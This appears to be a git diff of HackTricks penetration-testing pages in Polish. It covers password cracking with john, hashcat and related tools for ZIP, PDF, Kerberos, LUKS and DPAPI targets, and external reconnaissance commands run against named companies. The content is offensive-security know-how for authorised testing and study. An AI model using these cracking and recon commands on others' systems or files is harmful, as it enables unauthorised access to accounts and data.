||||
|
||||
### Bazy danych do łamania haseł online
|
||||
### Online bazy danych do łamania haseł
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 i SHA1)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 z/ bez ESS/SSP i z dowolną wartością wyzwania)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashe, przechwytywanie WPA2 oraz archiwa MSOffice, ZIP, PDF...)
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 z/bez ESS/SSP i z dowolną wartością wyzwania)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashe, przechwycenia WPA2 i archiwa MSOffice, ZIP, PDF...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (Hashe)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
* [https://gpuhash.me/](https://gpuhash.me) (Hashe i hashe plików)
|
||||
|
@ -484,7 +471,7 @@ Otrzymaj dostęp już dziś:
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Sprawdź to przed próbą przeprowadzenia ataku brutalnej siły na hasło.
|
||||
Sprawdź to przed próbą złamania hasła za pomocą brute force.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -502,10 +489,10 @@ john zip.john
|
|||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Atak znany jako tekst jawny zip
|
||||
#### Atak znanego tekstu jawnego zip
|
||||
|
||||
Musisz znać **tekst jawny** (lub część tekstu jawnego) **pliku zawartego wewnątrz** zaszyfrowanego pliku zip. Możesz sprawdzić **nazwy plików i rozmiar plików zawartych wewnątrz** zaszyfrowanego pliku zip, uruchamiając: **`7z l encrypted.zip`**\
|
||||
Pobierz [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) ze strony wydań.
|
||||
Musisz znać **tekst jawny** (lub część tekstu jawnego) **pliku zawartego w** zaszyfrowanym zipie. Możesz sprawdzić **nazwy plików i rozmiar plików zawartych w** zaszyfrowanym zipie, uruchamiając: **`7z l encrypted.zip`**\
|
||||
Pobierz [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) z strony wydań.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
@ -537,9 +524,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
|||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### Hasło właściciela pliku PDF
|
||||
### PDF Owner Password
|
||||
|
||||
Aby złamać hasło właściciela pliku PDF, sprawdź to: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
Aby złamać hasło właściciela PDF, sprawdź to: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
|
@ -573,11 +560,11 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
|||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
### Obraz Lucks
|
||||
### Lucks image
|
||||
|
||||
#### Metoda 1
|
||||
|
||||
Instalacja: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||
Zainstaluj: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||
```bash
|
||||
bruteforce-luks -f ./list.txt ./backup.img
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
|
@ -610,15 +597,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Klucz główny DPAPI
|
||||
### Klucz Mistrzowski DPAPI
|
||||
|
||||
Użyj [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py), a następnie john
|
||||
Użyj [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) a następnie john
|
||||
|
||||
### Kolumna zabezpieczona hasłem w Open Office
|
||||
### Ochroniona hasłem kolumna Open Office
|
||||
|
||||
Jeśli masz plik xlsx z kolumną zabezpieczoną hasłem, możesz ją odblokować:
|
||||
Jeśli masz plik xlsx z kolumną chronioną hasłem, możesz ją odblokować:
|
||||
|
||||
* **Prześlij go do Google Drive**, a hasło zostanie automatycznie usunięte
|
||||
* **Prześlij go do google drive** a hasło zostanie automatycznie usunięte
|
||||
* Aby **usunąć** je **ręcznie**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
|
@ -638,21 +625,21 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo tworzyć i **automatyzować** przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
||||
## Narzędzia
|
||||
|
||||
**Przykłady skrótów:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
**Przykłady hashy:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Identyfikator skrótu
|
||||
### Hash-identifier
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
### Listy słów
|
||||
### Wordlists
|
||||
|
||||
* **Rockyou**
|
||||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
|
@ -661,13 +648,13 @@ hash-identifier
|
|||
|
||||
### **Narzędzia do generowania list słów**
|
||||
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Zaawansowany generator klawiatury z możliwością konfigurowania podstawowych znaków, mapy klawiszy i tras.
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Zaawansowany generator przejść klawiaturowych z konfigurowalnymi znakami bazowymi, mapą klawiszy i trasami.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
### Mutacja Johna
|
||||
### John mutation
|
||||
|
||||
Odczytaj _**/etc/john/john.conf**_ i go skonfiguruj.
|
||||
Przeczytaj _**/etc/john/john.conf**_ i skonfiguruj go
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
@ -676,16 +663,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
|
||||
#### Ataki Hashcat
|
||||
|
||||
* Atak **z listą słów** (`-a 0`) z zastosowaniem reguł
|
||||
* **Atak słownikowy** (`-a 0`) z regułami
|
||||
|
||||
**Hashcat** już zawiera **folder zawierający reguły**, ale możesz znaleźć [**inne interesujące reguły tutaj**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
**Hashcat** już zawiera **folder z regułami**, ale możesz znaleźć [**inne interesujące reguły tutaj**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
* **Atak łączenia listy słów**
|
||||
* **Atak kombinatora listy słów**
|
||||
|
||||
Możliwe jest **połączenie 2 list słów w 1** za pomocą hashcat-a.\
|
||||
Jeśli lista 1 zawierała słowo **"hello"**, a druga zawierała 2 linie z słowami **"world"** i **"earth"**. Wygenerowane zostaną słowa `helloworld` i `helloearth`.
|
||||
Możliwe jest **połączenie 2 list słów w 1** za pomocą hashcat.\
|
||||
Jeśli lista 1 zawierała słowo **"hello"**, a druga zawierała 2 linie ze słowami **"world"** i **"earth"**. Wygenerowane zostaną słowa `helloworld` i `helloearth`.
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
@ -728,7 +715,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
|||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
* Atak słownikowy + maska (`-a 6`) / Atak maski + słownik (`-a 7`)
|
||||
* Lista słów + Maska (`-a 6`) / Maska + Lista słów (`-a 7`) atak
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
|
@ -740,45 +727,19 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
|||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
# Kradzież Haszy Linuxa - plik /etc/shadow
|
||||
Cracking Linux Hashes - plik /etc/shadow
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
# Bruteforce
|
||||
|
||||
## Brute Forcing Windows Hashes
|
||||
|
||||
Brute forcing Windows hashes involves trying all possible combinations of characters until the correct password is found. This can be done using tools like **John the Ripper** or **Hashcat**. The process can be time-consuming depending on the complexity of the password.
|
||||
Cracking Windows Hashes
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
## Brute Forcing
|
||||
|
||||
Brute forcing is a technique used to crack common application hashes by systematically checking all possible passwords until the correct one is found.
|
||||
|
||||
### Tools
|
||||
|
||||
There are various tools available for brute forcing, such as John the Ripper, Hashcat, and Hydra.
|
||||
|
||||
### Methodology
|
||||
|
||||
1. Obtain the hash: The first step is to obtain the hash of the password from the application or database.
|
||||
|
||||
2. Choose a tool: Select a suitable brute forcing tool based on the type of hash algorithm used.
|
||||
|
||||
3. Configure the tool: Set up the tool with the hash and any other relevant parameters.
|
||||
|
||||
4. Start the brute force attack: Initiate the brute force attack using the selected tool.
|
||||
|
||||
5. Wait for results: The tool will systematically try different password combinations until the correct one is found.
|
||||
|
||||
6. Analyze the results: Once the attack is complete, analyze the results to determine the cracked password.
|
||||
|
||||
By following this methodology, you can effectively crack common application hashes using brute force techniques.
|
||||
Cracking Common Application Hashes
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -788,24 +749,25 @@ By following this methodology, you can effectively crack common application hash
|
|||
1400 | SHA-256 | Raw Hash
|
||||
1700 | SHA-512 | Raw Hash
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
|
|
@ -1,58 +1,59 @@
|
|||
# Metodologia zewnętrznego rozpoznania
|
||||
# External Recon Methodology
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Odkrywanie zasobów
|
||||
## Assets discoveries
|
||||
|
||||
> Jeśli dowiedziałeś się, że wszystko należące do pewnej firmy znajduje się w zakresie, a chcesz dowiedzieć się, co ta firma faktycznie posiada.
|
||||
> Powiedziano ci, że wszystko, co należy do jakiejś firmy, jest w zakresie, a ty chcesz dowiedzieć się, co ta firma faktycznie posiada.
|
||||
|
||||
Celem tej fazy jest uzyskanie informacji o **firmach należących do głównej firmy**, a następnie o wszystkich **zasobach** tych firm. Aby to osiągnąć, będziemy:
|
||||
Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy** oraz wszystkich **zasobów** tych firm. Aby to zrobić, zamierzamy:
|
||||
|
||||
1. Znaleźć przejęcia głównej firmy, co pozwoli nam poznać firmy wchodzące w zakres.
|
||||
2. Znaleźć numer ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
|
||||
3. Użyć odwróconego wyszukiwania whois, aby szukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
|
||||
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby szukać innych zasobów (szczególnie trik z `ssl` można wykonać rekurencyjnie).
|
||||
1. Znaleźć przejęcia głównej firmy, co da nam firmy w zakresie.
|
||||
2. Znaleźć ASN (jeśli istnieje) każdej firmy, co da nam zakresy IP należące do każdej firmy.
|
||||
3. Użyć odwrotnych wyszukiwań whois, aby poszukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
|
||||
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby poszukać innych zasobów (sztuczka `ssl` może być wykonana rekurencyjnie).
|
||||
|
||||
### **Przejęcia**
|
||||
### **Acquisitions**
|
||||
|
||||
Po pierwsze, musimy dowiedzieć się, które **inne firmy należą do głównej firmy**.\
|
||||
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy** i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
|
||||
Inną opcją jest odwiedzenie strony **Wikipedii** głównej firmy i wyszukanie **przejęć**.
|
||||
Przede wszystkim musimy wiedzieć, które **inne firmy są własnością głównej firmy**.\
|
||||
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukiwanie** głównej firmy i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
|
||||
Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukiwanie **przejęć**.
|
||||
|
||||
> W tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Sprawdźmy teraz, jak znaleźć ich zasoby.
|
||||
> Ok, w tym momencie powinieneś znać wszystkie firmy w zakresie. Dowiedzmy się, jak znaleźć ich zasoby.
|
||||
|
||||
### **ASN-y**
|
||||
### **ASNs**
|
||||
|
||||
Numer autonomicznego systemu (**ASN**) to **unikalny numer** przypisany **autonomicznemu systemowi** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
|
||||
AS składa się z **bloków** adresów **IP**, które mają zdefiniowaną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
|
||||
Numer systemu autonomicznego (**ASN**) to **unikalny numer** przypisany do **systemu autonomicznego** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
|
||||
**AS** składa się z **bloków** **adresów IP**, które mają wyraźnie zdefiniowaną politykę dostępu do zewnętrznych sieci i są zarządzane przez jedną organizację, ale mogą składać się z kilku operatorów.
|
||||
|
||||
Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby poznać jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i szukać **domen** w tych IP.\
|
||||
Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**W zależności od regionu firmy te linki mogą być przydatne do zebrania więcej danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** znajdują się już na pierwszym linku.
|
||||
Interesujące jest sprawdzenie, czy **firma ma przypisany jakikolwiek ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i **szukać domen** w tych IP.\
|
||||
Możesz **wyszukiwać** według **nazwa firmy**, według **IP** lub według **domeny** w [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**W zależności od regionu firmy, te linki mogą być przydatne do zbierania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatycznie agreguje i podsumowuje subdomeny na końcu skanowania.
|
||||
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** enumeracja subdomen automatycznie agreguje i podsumowuje ASN na końcu skanowania.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,56 +70,59 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Możesz znaleźć zakresy IP organizacji również korzystając z [http://asnlookup.com/](http://asnlookup.com) (ma darmowe API).\
|
||||
Możesz znaleźć IP i ASN domeny korzystając z [http://ipv4info.com/](http://ipv4info.com).
|
||||
Możesz znaleźć zakresy IP organizacji również używając [http://asnlookup.com/](http://asnlookup.com) (ma darmowe API).\
|
||||
Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Wyszukiwanie podatności**
|
||||
### **Szukając luk**
|
||||
|
||||
W tym momencie znamy **wszystkie zasoby w zakresie**, więc jeśli masz zgodę, możesz uruchomić skaner **podatności** (Nessus, OpenVAS) na wszystkich hostach.\
|
||||
Możesz także uruchomić niektóre [**skanowania portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub skorzystać z usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** sprawdzić w tej książce, jak testować penetracyjnie kilka możliwych usług działających.\
|
||||
**Warto również wspomnieć, że możesz przygotować listy domyślnych nazw użytkowników i** haseł **i spróbować** próbować siłowo **usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
|
||||
Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
|
||||
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** brute-force'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeny
|
||||
|
||||
> Znamy wszystkie firmy w zakresie i ich zasoby, czas znaleźć domeny w zakresie.
|
||||
|
||||
_Proszę zauważyć, że w proponowanych technikach można również znaleźć subdomeny i ta informacja nie powinna być lekceważona._
|
||||
_Proszę zauważyć, że w poniższych proponowanych technikach możesz również znaleźć subdomeny i ta informacja nie powinna być niedoceniana._
|
||||
|
||||
Po pierwsze, powinieneś szukać **głównej domeny**(ów) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
Przede wszystkim powinieneś poszukać **głównej domeny**(s) każdej firmy. Na przykład, dla _Tesla Inc._ będzie to _tesla.com_.
|
||||
|
||||
### **Odwrócone DNS**
|
||||
### **Reverse DNS**
|
||||
|
||||
Po znalezieniu wszystkich zakresów IP domen, możesz spróbować wykonać **odwrócone wyszukiwanie DNS** na tych **IP, aby znaleźć więcej domen w zakresie**. Spróbuj użyć serwera DNS ofiary lub znanego serwera DNS (1.1.1.1, 8.8.8.8)
|
||||
Ponieważ znalazłeś wszystkie zakresy IP domen, możesz spróbować wykonać **odwrotne zapytania DNS** na tych **IP, aby znaleźć więcej domen w zakresie**. Spróbuj użyć jakiegoś serwera DNS ofiary lub jakiegoś znanego serwera DNS (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
### **Metodologia odwrotnego Whois (pętla)**
|
||||
Aby to zadziałało, administrator musi ręcznie włączyć PTR.\
|
||||
Możesz również użyć narzędzia online do uzyskania tych informacji: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
Wewnątrz **whois** można znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **maile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że można znaleźć **więcej zasobów związanych z firmą**, jeśli przeprowadzisz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie ten sam e-mail się pojawia).\
|
||||
Możesz skorzystać z narzędzi online takich jak:
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
|
||||
Możesz użyć narzędzi online, takich jak:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
|
||||
